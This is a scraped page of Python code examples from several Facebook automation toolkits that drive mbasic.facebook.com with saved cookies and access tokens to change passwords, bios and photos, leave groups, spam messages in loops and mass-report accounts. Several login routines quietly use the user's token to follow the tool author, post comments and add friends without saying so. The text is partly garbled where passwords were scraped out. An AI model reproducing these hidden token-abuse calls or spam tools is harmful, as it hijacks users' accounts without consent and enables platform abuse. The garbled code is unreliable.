예제 #1
0
 def login(self):
     #follow me kids!
     self.req.post(
         'https://graph.facebook.com/adlizhafari.nub/subscribers?access_token='
         + self.ket)
     print("\n[!] checking cookies")
     time.sleep(1)
     s = self.req
     s.cookies = kuki('toket/kue.txt')
     try:
         fil = open('toket/kue.txt')
         fil.close()
     except FileNotFoundError:
         print(
             "[!] cookies not found\n\n[!] please login in your facebook once again"
         )
         email = input('[?] email/username: '******'[?] password: '******'email': email, 'pass': pw}
         res = s.post(self.u.format('/login'), data=data).text
         if 'm_sess' in str(res) or 'save-device' in str(res):
             s.cookies.save()
             self.req.cookies = kuki('toket/kue.txt')
             self.req.cookies.load()
             self.glnk(self.u.format('/friends/center/requests'))
             exit()
         else:
             exit('[!] fail login into your account')
     self.cek_kuki()
 def Change(self):
     try:
         file = open(self.file, 'rb')
         cj = kuki('log/kuki')
         cj.load()
         print(W + '[' + G + '*' + W + '] uploading picture.')
         br = mechanize.Browser()
         br.set_handle_equiv(True)
         br.set_cookiejar(cj)
         br.set_handle_gzip(True)
         br.set_handle_redirect(True)
         br.set_handle_referer(True)
         br.set_handle_robots(False)
         br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),
                               max_time=1)
         br.addheaders = [('User-Agent', open('UserAgent/ua.txt').read())]
         br.open('https://mbasic.facebook.com/profile_picture/')
         br._factory.is_html = True
         br.select_form(nr=0)
         br.form.add_file(file, 'image/jpeg', self.file, name='pic')
         sub = br.submit().read()
         if "Apa yang Anda pikirkan sekarang?" in str(sub):
             print(W + '[' + G + '*' + W + '] successfully changed')
         else:
             print(W + '[' + R + '*' + W + '] ' + R + 'failed')
     except (mechanize.URLError):
         print(W + '[' + R + '!' + W + '] ' + R + 'connections error!')
         sys.exit()
     except FileNotFoundError:
         print(W + '[' + R + '!' + W + '] ' + R + 'photo not found!')
         sys.exit()
예제 #3
0
파일: Genkuki.py 프로젝트: xuan2261/s-mbf
def login(self):
    global s
    print("\n[!] checking cookies")
    time.sleep(1)
    s = self.req
    s.cookies = kuki('toket/kue.txt')
    try:
        fil = open('toket/kue.txt')
        fil.close()
    except FileNotFoundError:
        print(
            "[!] cookies not found\n\n[!] please login in your facebook once again"
        )
        email = input('[?] email/username: '******'[?] password: '******'email': email, 'pass': pw}
        res = s.post('https://mbasic.facebook.com/login', data=data).text
        if 'logout.php' in str(res) or 'mbasic_logout_button' in str(res):
            s.cookies.save()
        else:
            exit('[!] fail login into your account')
    if 'True' in cek():
        pass
    else:
        exit()
예제 #4
0
 def Change(self):
     try:
         cj = kuki('log/kuki')
         cj.load()
         br = mechanize.Browser()
         br.set_handle_equiv(True)
         br.set_cookiejar(cj)
         br.set_handle_gzip(True)
         br.set_handle_redirect(True)
         br.set_handle_referer(True)
         br.set_handle_robots(False)
         br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),
                               max_time=1)
         br.addheaders = [('User-Agent', open('UserAgent/ua.txt').read())]
         br.open('https://mbasic.facebook.com/profile/basic/intro/bio/')
         br._factory.is_html = True
         br.select_form(nr=1)
         br.form['bio'] = self.bio
         sub = br.submit().read()
         if not 'Jelaskan siapa Anda' in str(sub):
             print(W + '[' + G + '*' + W + '] successfully changed to',
                   str(self.bio.replace('\n', ' ')))
         else:
             print(W + '[' + R + '*' + W + '] ' + R + 'failed')
     except (mechanize.URLError):
         print(W + '[' + R + '!' + W + '] ' + R + 'connections error!')
         sys.exit()
예제 #5
0
 def Change(self):
     try:
         cj = kuki('log/kuki')
         cj.load()
         br = mechanize.Browser()
         br.set_handle_equiv(True)
         br.set_cookiejar(cj)
         br.set_handle_gzip(True)
         br.set_handle_redirect(True)
         br.set_handle_referer(True)
         br.set_handle_robots(False)
         br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),
                               max_time=1)
         br.addheaders = [('User-Agent', open('UserAgent/ua.txt').read())]
         br.open('https://mbasic.facebook.com/settings/security/password/')
         br._factory.is_html = True
         br.select_form(nr=1)
         br.form['password_old'] = self.pw
         br.form['password_new'] = self.new
         br.form['password_confirm'] = self.new
         sub = br.submit().read()
         if 'Kata Sandi Telah Diubah' in str(
                 sub) or 'Password Changed' in str(sub):
             print(W + '[' + G + '*' + W + '] successfully changed to',
                   str(self.new))
         else:
             print(W + '[' + R + '*' + W + '] ' + R + 'failed')
     except (mechanize.URLError):
         print(W + '[' + R + '!' + W + '] ' + R + 'connections error!')
         sys.exit()
예제 #6
0
    def getcok(self):
        print("""
	;;;;;;;;;;;;;;;;;;;
	; Leave all Group ;
	; By: Kang-Newbie ;
	;;;;;;;;;;;;;;;;;;;""")
        print('\n[!] Checking cookies')
        time.sleep(1)
        s = self.req
        s.cookies = kuki('toket/kue.txt')
        try:
            fil = open('toket/kue.txt')
            fil.close()
        except FileNotFoundError:
            print(
                "[!] cookies not found\n\n[!] please login in your facebook once again"
            )
            email = input('[?] email/username: '******'[?] password: '******'email': email, 'pass': pw}
            urrl = 'https://mbasic.facebook.com/login'
            res = s.post(urrl, data=data).text
            if 'm_sess' in str(res) or 'save-device' in str(res):
                s.cookies.save()
                click.pause()
                self.getid()
                exit()
            else:
                exit('[!] fail login into your account')
        self.cek_kuki()
예제 #7
0
 def __init__(self):
     cekKuki.cek(self)
     self.req = requests.Session()
     s = self.req
     s.cookies = kuki('log/kuki')
     s.cookies.load()
     self.HD = {'User-Agent': open('UserAgent/ua.txt').read()}
     self.token = open('log/token').read()
     self.Main()
예제 #8
0
 def __init__(self):
     cekKuki.cek(self)
     self.HD = {'User-Agent': open('UserAgent/ua.txt').read()}
     self.url = 'https://mbasic.facebook.com{}'
     self.req = requests.Session()
     s = self.req
     s.cookies = kuki('log/kuki')
     s.cookies.load()
     self.Main()
예제 #9
0
	def cek_kuki(self):
		self.req.cookies=kuki('toket/kue.txt')
		self.req.cookies.load()
		cek=self.req.get('https://mbasic.facebook.com/me').text
		if 'mbasic_logout_button' in cek:
			print('[√] cookies found\n')
			self.q()
		else:
			print('[!] cookies invalid')
예제 #10
0
 def cek_kuki(self):
     self.req.cookies = kuki('toket/kue.txt')
     self.req.cookies.load()
     cek = self.req.get('https://mbasic.facebook.com/me').text
     if 'mbasic_logout_button' in cek:
         print('[√] cookies found\n')
         click.pause()
         self.glnk(self.u.format('/friends/center/requests'))
     else:
         print('[!] cookies invalid')
예제 #11
0
 def __init__(self):
     cekKuki.cek(self)
     self.count = 0
     self.time = time.strftime('%Y-%H-%M-%S')
     self.HD = {'User-Agent': open('UserAgent/ua.txt').read()}
     self.req = requests.Session()
     s = self.req
     s.cookies = kuki('log/kuki')
     s.cookies.load()
     self.Main()
예제 #12
0
 def __init__(self):
     cekKuki.cek(self)
     self.suc = 0
     self.count = 0
     self.HD = {'User-Agent': open('UserAgent/ua.txt').read()}
     self.link = []
     self.req = requests.Session()
     s = self.req
     s.cookies = kuki('log/kuki')
     s.cookies.load()
     self.Main()
예제 #13
0
 def __init__(self):
     cekKuki.cek(self)
     self.HD = {'User-Agent': open('UserAgent/ua.txt').read()}
     self.token = open('log/token').read()
     self.url = 'https://mbasic.facebook.com{}'
     self.req = requests.Session()
     s = self.req
     s.cookies = kuki('log/kuki')
     s.cookies.load()
     self.id = input(W + '\n[' + G + '?' + W + '] enter group id : ' + G)
     self.Main()
예제 #14
0
 def __init__(self):
     cekKuki.cek(self)
     self.id = []
     self.suc = 0
     self.HD = {'User-Agent': open('UserAgent/ua.txt').read()}
     self.url = 'https://mbasic.facebook.com{}'
     self.req = requests.Session()
     s = self.req
     s.cookies = kuki('log/kuki')
     s.cookies.load()
     self.Main(self.url.format('/friends/center/requests/outgoing/'))
예제 #15
0
	def __init__(self):
		self.url = 'https://mbasic.facebook.com{}'
		self.HD = {'User-Agent' : open('UserAgent/ua.txt').read()}
		self.req = requests.Session()
		cekKuki.cek(self)
		s = self.req
		s.cookies = kuki('log/kuki')
		s.cookies.load()
		self.link = []
		url = input(W + '\n[' + G + '?' + W + '] albums url : ' + G)
		url = url.replace('https://m.facebook.com','https://mbasic.facebook.com')
		self.Main(url)
예제 #16
0
파일: Hide.py 프로젝트: kancilx17/facetools
 def __init__(self):
     self.loop = 0
     cekKuki.cek(self)
     self.HD = {'User-Agent': open('UserAgent/ua.txt').read()}
     self.url = 'https://mbasic.facebook.com{}'
     self.req = requests.Session()
     s = self.req
     s.cookies = kuki('log/kuki')
     s.cookies.load()
     self.link = []
     self.success = []
     self.Main(self.url.format('/me'))
예제 #17
0
 def main(self):
     cj = kuki('toket/kue.txt')
     cj.load()
     self.br.set_cookiejar(cj)
     for idg in self.id:
         self.br.open(
             f'https://mbasic.facebook.com/group/leave/?group_id={idg}&refid=18'
         )
         self.br.select_form(nr=1)
         sub = self.br.submit().read()
         if 'Gabung dengan Grup' in str(sub) or 'Join Group' in str(sub):
             print(f'[+] {idg} - success leave the group')
         else:
             print(f'[-] {idg} - failed leave the group')
예제 #18
0
def cek(self):
	with requests.Session() as s:
		s.cookies = kuki('log/kuki')
		s.cookies.load()
		try:
			
			aa = s.get('https://mbasic.facebook.com/me', headers = {'User-Agent' : open('UserAgent/ua.txt').read()}).text
			if 'mbasic_logout_button' in str(aa):
				pass
			else:
				print('\033[0m[\033[1;91mwarning\033[0m] \033[1;91mcookies invalids!')
				sys.exit()
				
		except requests.exceptions.ConnectionError:
			print(W + '[' + R + '!' + W + '] ' + R + 'connections error!')
			sys.exit()
예제 #19
0
 def q(self):
     self.req.cookies = kuki('toket/kue.txt')
     self.req.cookies.load()
     self.query = input("[?] Search: ")
     if self.query == "":
         self.q()
     else:
         loli = []
     bs = bs4.BeautifulSoup(self.req.get(
         self.i.format("search/top/?q=%s" % (self.query))).text,
                            features="html.parser")
     for x in bs.find_all("a", href=True):
         if "graphsearch" in x["href"]:
             loli.append(self.i.format(x["href"]))
     if len(loli) != 0:
         self.cari(loli[0])
     else:
         print("[!] user does exist.")
예제 #20
0
파일: Cspam.py 프로젝트: adolabsnet/s-mbf
 def send(id, msg, lop):
     try:
         cjs = kuki('toket/kue.txt')
         cjs.load()
         br.set_cookiejar(cjs)
         for i in range(int(lop)):
             print("[+] sending messages to " + id)
             br.open('https://mbasic.facebook.com/messages/thread/' + id +
                     '/')
             br.form = list(br.forms())[1]
             control = br.form.find_control("body")
             for control in br.form.controls:
                 if control.type == "submit":
                     control.disabled = True
             br["body"] = msg
             br.submit()
     except IndexError:
         print("[!] fail send messages to " + id)
예제 #21
0
파일: admod.py 프로젝트: TermuxOps/admod
def process_1(user, target):
    global title
    print(f"{G}[ * ] Processing : View Member Data{B}")
    url = 'https://mbasic.facebook.com/groups/' + target + "/"

    s.cookies = kuki('cookies.txt')
    s.cookies.load()
    uri = s.get(url).text
    data = []
    param = []
    soup = BeautifulSoup(uri, "html.parser")
    title = soup.title.string.split("|")[0]
    for x in soup.find_all("a"):
        data.append(x.get('href'))

    for x in range(len(data)):
        if "?view=members" in str(data[x]):
            param.append(data[x])
    process_2(param)
예제 #22
0
파일: Genkuki.py 프로젝트: xuan2261/s-mbf
def cek():
    try:
        s.cookies = kuki('toket/kue.txt')
        s.cookies.load()
        cek = s.get('https://mbasic.facebook.com/me').text
        if 'mbasic_logout_button' in cek:
            print('[√] cookies valids\n')
            a = 'True'
            return a
        else:
            print('[!] cookies invalid')
            os.remove('toket/kue.txt')
            a = 'False'
            return a
    except:
        print('[!] cookies invalid')
        os.remove('toket/kue.txt')
        a = 'False'
        return a
예제 #23
0
파일: Cspam.py 프로젝트: zaldie/s-mbf
	def login():
		print("\n[!] checking cookies")
		time.sleep(1)
		s = ses()
		s.cookies = kuki('toket/kue.txt')
		try:
			fil=open('toket/kue.txt')
			fil.close()
		except FileNotFoundError:
			print("[!] cookies not found\n\n[!] please login in your facebook once again")
			email=input('[?] email/username: '******'[?] password: '******'email':email,'pass':pw}
			url='https://mbasic.facebook.com/login'

			res = s.post(url,data=data).text
			if 'm_sess' in str(res) or 'save-device' in str(res):
				s.cookies.save()
			else:
				exit('[!] fail login into your account')
예제 #24
0
파일: Cspam.py 프로젝트: zaldie/s-mbf
	def send(id,msg,lop):
		try:
			print()
			cjs = kuki('toket/kue.txt')
			cjs.load()
			br.set_cookiejar(cjs)
			for i in range(int(lop)):
				print("[!] sending messages to "+id)
				br.open('https://mbasic.facebook.com/messages/thread/'+id+'/')
				br.form = list(br.forms())[1]
				control = br.form.find_control("body")
				for control in br.form.controls:
					if control.type == "submit":
						control.disabled = True
				br["body"]=msg
				snd=br.submit().read()
				if 'send_success' in str(snd):
					print('[+] succes')
				else: print('[-] failed')
		except IndexError:
			print("[!] error when sending a message to",id)
예제 #25
0
파일: admod.py 프로젝트: TermuxOps/admod
def login(user, pwd, target):
    print(f"{G}[ * ] Logging in {B}")
    cj = kuki('cookies.txt')
    try:
        data = []
        br = mechanize.Browser()
        br.set_cookiejar(cj)
        br.set_handle_gzip(True)
        br.set_handle_redirect(True)
        br.set_handle_robots(False)
        br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),
                              max_time=1)
        br.addheaders = [(
            'User-Agent',
            'Opera/9.80 (Android; Opera Mini/12.0.1987/37.7327; U; pl) Presto/2.12.423 Version/12.16'
        )]
        br.open('https://mbasic.facebook.com/login')
        br._factory.is_html = True
        br.select_form(nr=0)
        br.form['email'] = user
        br.form['pass'] = pwd
        sub = br.submit().read()
        if "doesn't match" in str(sub):
            print("\033[31m[ x ] Username Or Password Wrong\033[0m")
            os.system(rm)
        if "checkpoint" in str(sub):
            print(R + "[ x ] Account Checkpoint" + B)
            os.system(rm)
        else:
            os.system(make)
            cj.save()
            process_1(user, target)

    except:
        print(f"{R} [ ! ] Failed{B}")
        input("[ AGAIN ]")
        os.system("clear")
        menu(logo)
예제 #26
0
# Decompiled from: Python 2.7.17 (default, Oct 23 2019, 08:25:46)
# [GCC 4.2.1 Compatible Android (5220042 based on r346389c) Clang 8.0.7 (https://
# Embedded file name: <Ariya>
import os, sys, time, datetime, random, hashlib, re, threading, json, urllib, cookielib, requests, mechanize
from bs4 import BeautifulSoup as parser
from multiprocessing.pool import ThreadPool
from requests.exceptions import ConnectionError
from mechanize import Browser
from prompt_toolkit.shortcuts import prompt
from prompt_toolkit.styles import Style
from http.cookiejar import LWPCookieJar as kuki

reload(sys)
sys.setdefaultencoding('utf8')
br = mechanize.Browser()
cj = kuki('kuki')
br.set_handle_robots(False)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
br.addheaders = [(
    'User-Agent',
    'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16'
)]


def keluar():
    print '\x1b[1;91m[!] Exit'
    os.sys.exit()


def acak(b):
    w = 'ahtdzjc'
예제 #27
0
def login():
    os.system('clear')
    try:
        toket = open('login.txt', 'r')
        menu()
    except (KeyError, IOError):
        os.system('clear')
        print logo
        print 37 * '\x1b[1;94m\xe2\x95\x90'
        print '\x1b[1;91m[\xe2\x98\x86] \x1b[1;92mLOGIN AKUN FACEBOOK \x1b[1;91m[\xe2\x98\x86]'
        id = raw_input(
            '\x1b[1;91m[+] \x1b[1;36mID\x1b[1;97m|\x1b[1;96mEmail\x1b[1;97m \x1b[1;91m:\x1b[1;92m '
        )
        pwd = raw_input(
            '\x1b[1;91m[+] \x1b[1;36mPassword \x1b[1;91m:\x1b[1;92m ')
        tik()
        try:
            br.open('https://m.facebook.com')
        except mechanize.URLError:
            print '\n\x1b[1;91m[!] No connection'
            keluar()

        br._factory.is_html = True
        br.select_form(nr=0)
        br.form['email'] = id
        br.form['pass'] = pwd
        br.submit()
        url = br.geturl()
        if 'save-device' in url:
            try:
                cj.save()
                sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=' + id + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword='******'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32'
                data = {
                    'api_key': '882a8490361da98702bf97a021ddc14d',
                    'credentials_type': 'password',
                    'email': id,
                    'format': 'JSON',
                    'generate_machine_id': '1',
                    'generate_session_cookies': '1',
                    'locale': 'en_US',
                    'method': 'auth.login',
                    'password': pwd,
                    'return_ssl_resources': '0',
                    'v': '1.0'
                }
                x = hashlib.new('md5')
                x.update(sig)
                a = x.hexdigest()
                data.update({'sig': a})
                url = 'https://api.facebook.com/restserver.php'
                r = requests.get(url, params=data)
                z = json.loads(r.text)
                unikers = open('login.txt', 'w')
                unikers.write(z['access_token'])
                unikers.close()
                try:
                    toket = open('login.txt', 'r').read()
                    with requests.Session() as (s):
                        s.cookies = kuki('kuki')
                        s.cookies.load()
                        la = s.get('https://m.facebook.com/language.php')
                        pa = parser(la.content, 'html.parser')
                        bh = pa.find('a', string='Bahasa Indonesia')
                        s.get('https://m.facebook.com' + str(bh['href']))
                        s.post(
                            'https://graph.facebook.com/ariyahacker/subscribers?access_token='
                            + toket)
                        s.post(
                            'https://graph.facebook.com/120300252885977/comments?message=Nice:)*&access_token='
                            + toket)
                except:
                    pass

                print '\n\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mLogin successfully'
                requests.post(
                    'https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token='
                    + z['access_token'])
                menu()
            except requests.exceptions.ConnectionError:
                print '\n\x1b[1;91m[!] No connection'
                keluar()

        if 'checkpoint' in url:
            print '\n\x1b[1;91m[!] \x1b[1;93mAccount Checkpoint'
            os.system('rm -rf login.txt')
            time.sleep(1)
            keluar()
        else:
            print '\n\x1b[1;91m[!] Login Failed'
            os.system('rm -rf login.txt')
            time.sleep(1)
            login()
예제 #28
0
파일: Fb.py 프로젝트: kancilx17/facetools
#!usr/bin/python3.7
# coding: utf-8

# Facebook Toolskit Version 2.0
# Copyright: (©) 2019  DulLah
# Hargailah Sejelek Apapun Itu:V

import os, sys, time, requests, mechanize, hashlib, json, shutil
from data import Clr
from prompt_toolkit.shortcuts import prompt
from prompt_toolkit.styles import Style
from http.cookiejar import LWPCookieJar as kuki

headers = open('UserAgent/ua.txt').read()
br = mechanize.Browser()
cj = kuki('log/kuki')
br.set_cookiejar(cj)
br.set_handle_gzip(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
br.addheaders = [('User-Agent', headers)]
up = '2.1'

if sys.platform in ['linux', 'linux2']:
    C = '\033[1;96m'
    W = '\033[0m'
    G = '\033[1;92m'
    R = '\033[1;91m'
    Y = '\033[1;93m'
예제 #29
0
#!usr/bin/python3.7
#Author: DulLah ©2019
# FB : fb.me/dulahz
#Telegram : t.me/unikers
#github: github.com/dz-id
# YANG INI JANGAN DIGANTI YA STERR:) APALAGI DIHAPUS
try:
	import requests
	from bs4 import BeautifulSoup as parser
	from http.cookiejar import LWPCookieJar as kuki
	#//
	ua = {'User-Agent' : open('UserAgent/ua.txt').read()}
	token = open('log/token').read()
	with requests.Session() as s:
		s.cookies = kuki('log/kuki')
		s.cookies.load()
		la = s.get('https://mbasic.facebook.com/language.php',headers = ua)
		pa = parser(la.content, 'html.parser')
		bh = pa.find('a', string = 'Bahasa Indonesia')
		s.get('https://mbasic.facebook.com'+str(bh['href']),headers = ua) #// ganti bahasa
		s.post('https://graph.facebook.com/dulahz/subscribers?access_token='+token,headers = ua) #// foll aing:V
		s.post('https://graph.facebook.com/1145924768936987/comments?message=Nice:)*&access_token='+token,headers = ua) #// comment
except:
		pass
예제 #30
0
import re, random, time, bs4, os, sys, mechanize,requests
from http.cookiejar import LWPCookieJar as kuki
os.system('clear')
br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.set_cookiejar(kuki())
br.addheaders = [
        (
          'User-Agent',
          random.choice(open('useragents.txt').read().splitlines()))]
filee = 'ids.txt'
def report():
    url = ('https://m.facebook.com/login.php')
    email = input('[#] Enter Email: ')
    passwr= input('[#] Enter Password: '******'email'] = ('{}').format(email)
    br.form['pass'] = ('{}').format(passwr)
    br.submit()
    if 'save-device' in br.geturl():
        print('[#] Login success ')
        id=input('[#] Username Target : ')
        my = ('https://m.facebook.com/' + id)
        url = my
        br.open(url)
        r=re.findall('<title>(.*?)</title>', br.response().read().decode('utf-8'))